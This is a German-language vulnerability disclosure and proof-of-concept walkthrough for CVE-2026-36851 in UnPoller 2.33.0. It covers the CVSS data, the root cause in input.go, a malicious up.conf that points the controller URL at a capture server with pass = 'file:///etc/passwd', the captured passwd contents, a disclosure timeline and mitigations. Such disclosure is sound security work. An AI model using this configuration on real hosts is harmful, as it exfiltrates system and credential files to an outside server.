
Walkthrough und PoC der Dateipfad-Traversal-Schwachstelle (CVE-2026-36851) für UnPoller 2.33.0
Pfad-Traversal / Lesen beliebiger Dateien in UnPoller v2.33.0 über das file://-Passwort-Präfix. Dateiinhalte werden von der Festplatte gelesen und während der Authentifizierung an die konfigurierte UniFi-Controller-URL übertragen.
| CVE | CVE-2026-36851 |
| Produkt | UnPoller v2.33.0 (frühere Versionen wahrscheinlich betroffen) |
| Schwachstelle | CWE-22 (Pfad-Traversal), CWE-20 (Fehlerhafte Eingabevalidierung) |
| CVSS 3.1 | 7.5 Hoch — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Reporter | Hector Diaz |
UnPoller unterstützt das Laden von Anmeldedaten aus einer Datei, wenn der Konfigurationswert mit file:// beginnt. Dieses Verhalten ist für Docker-Bereitstellungen dokumentiert, in denen Betreiber Passwörter außerhalb von Klartext-Konfigurationsdateien aufbewahren möchten. Die Implementierung schränkt nicht ein, welcher Pfad gelesen werden darf — jede Datei, auf die der Prozess zugreifen kann, ist gültige Eingabe. Diese Inhalte werden dann über das Netzwerk in einem JSON-POST an /api/login auf dem Controller gesendet, der in derselben Konfigurationsdatei als url festgelegt ist.
Diese Kombination verwandelt eine lokale Datei-Lese-Primitive in einen Netzwerk-Exfiltrationskanal: Ein Angreifer mit Schreibzugriff auf up.conf kann url auf einen von ihm kontrollierten Server ausrichten und wiederholt sensible Dateien exfiltrieren, ohne direkte Leserechte auf diese Dateien zu besitzen.
Ich betreibe UnPoller in meinem Homelab — Docker auf einem Proxmox-LXC —, um UniFi-Metriken neben dem Rest meines Stacks nach Grafana zu exportieren. Ich habe Open-Source-Projekte auf häufige Webschwachstellen hin untersucht. UnPoller hat nur eine minimale benutzerseitige Weboberfläche, daher war XSS eine Sackgasse. Die Beispielkonfiguration ist der Ausgangspunkt des Fundes:
pass = "file:///path/to/password.file"
Die Absicht ist nachvollziehbar: auf eine Secrets-Datei verweisen, anstatt das Passwort in up.conf einzubetten. Meine Frage war, ob UnPoller diesen Pfad validiert — oder jeden file://-Wert als wörtlichen Dateisystemzeiger behandelt.
Die Rückverfolgung des Quellcodes in pkg/inputunifi/input.go (und ähnliche Behandlungen in influxunifi, lokiunifi) zeigt, dass es keine Whitelist gibt. Wenn pass oder api_key mit file:// beginnt, wird das Präfix entfernt und os.ReadFile() lädt den vollständigen Dateiinhalt in das Anmeldefeld, das für die UniFi-Authentifizierung verwendet wird.
Vertraulichkeit: Beliebige lesbare Dateien auf dem UnPoller-Host können exfiltriert werden — z. B. /etc/passwd, /proc/version, /etc/hosts, Anwendungskonfigurationen und je nach Prozessberechtigungen möglicherweise Schlüsselmaterial.
Angriffsvoraussetzungen: Schreibzugriff auf die UnPoller-Konfiguration (in der Regel up.conf). Zum Auslösen des Lesevorgangs sind nach der Änderung der Konfiguration keine UniFi-Anmeldedaten erforderlich.
Warum dies über den lokalen Administratorzugriff hinaus relevant ist: In Shared-Hosting-Umgebungen, fehlkonfiguriertem Kubernetes oder kompromittierten Sidecar-Szenarien kann ein Benutzer mit geringen Rechten die Dienstkonfiguration ändern, ohne sensible Dateien direkt lesen zu können. Dieses Verhalten überbrückt diese Lücke, indem UnPoller die Datei liest und nach außen überträgt.
Nicht im Rahmen: Remote-Codeausführung, Integrität oder Verfügbarkeit — dies ist ein Problem der Informationsoffenlegung mit einem klaren Exfiltrationspfad.
Getestet gegen ghcr.io/unpoller/unpoller:latest (v2.33.0) auf einem Debian-basierten Proxmox-LXC mit Docker Compose.
Das Setzen von UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" über eine Umgebungsvariable löste das Verhalten in meiner Bereitstellung nicht aus. Die gemountete Konfigurationsdatei war die tatsächlich maßgebliche Quelle.
Ich habe up.conf so bearbeitet, dass UnPoller auf einen von mir kontrollierten Erfassungsserver zeigt, anstatt auf meinen Produktions-UniFi-Controller:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
Nach docker restart unpoller begann der Container, sich etwa alle 30 Sekunden mit meinem Listener auf Port 8443 zu verbinden.
Mein erster Erfassungsserver protokollierte HTTP-Header und suchte nach Authorization: Basic ...-Anmeldedaten. UnPoller sendete POST /api/login-Anfragen ohne Authorization-Header — die UniFi-API erwartet JSON im Body:
{"username": "admin", "password": "..."}
Ich habe den Listener aktualisiert, um Content-Length zu lesen, den POST-Body zu parsen und das JSON zu protokollieren. Innerhalb einer Minute erschien /etc/passwd im Passwortfeld:

Protokollauszug:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
Das gleiche Konfigurationsmuster funktionierte für /proc/version (Kernel-/Build-Fingerprinting):

Beispielhafte schadhafte Konfiguration: poc/up.conf.example
| Datum | Ereignis |
|---|---|
| 2026-02-28 | Im Homelab entdeckt und bestätigt |
| 2026-03-01 | Anbieter benachrichtigt (Discord) |
| 2026-03-02 | MITRE-CVE-Antrag eingereicht |
| 2026-06-05 | CVE-2026-36851 zugewiesen |
| 2026-07-03 | Öffentlicher Bericht veröffentlicht |
Der UnPoller-Maintainer bestätigte das file://-Verhalten als beabsichtigte Annehmlichkeit für Docker-Benutzer und stellte die Ausnutzbarkeit ohne Privilegientrennung zwischen dem Konfigurationseditor und dem Prozessbenutzer infrage. MITRE vergab ungeachtet dessen eine CVE-Kennung.
Für Betreiber
up.conf und Konfigurations-Mounts als sensibel; schränken Sie den Schreibzugriff ein.file://-Pfaden, bis ein Fix verfügbar ist.Für Entwickler
file://-Behandlung aus Anmeldefeldern oder erzwingen Sie eine strikte Pfad-Whitelist (z. B. nur unter /etc/unpoller/secrets/).MIT — siehe LICENSE. Proof-of-Concept-Materialien in diesem Repository werden ausschließlich für autorisierte Sicherheitsforschung und zu Bildungszwecken bereitgestellt. Verwenden Sie sie nicht gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Genehmigung haben.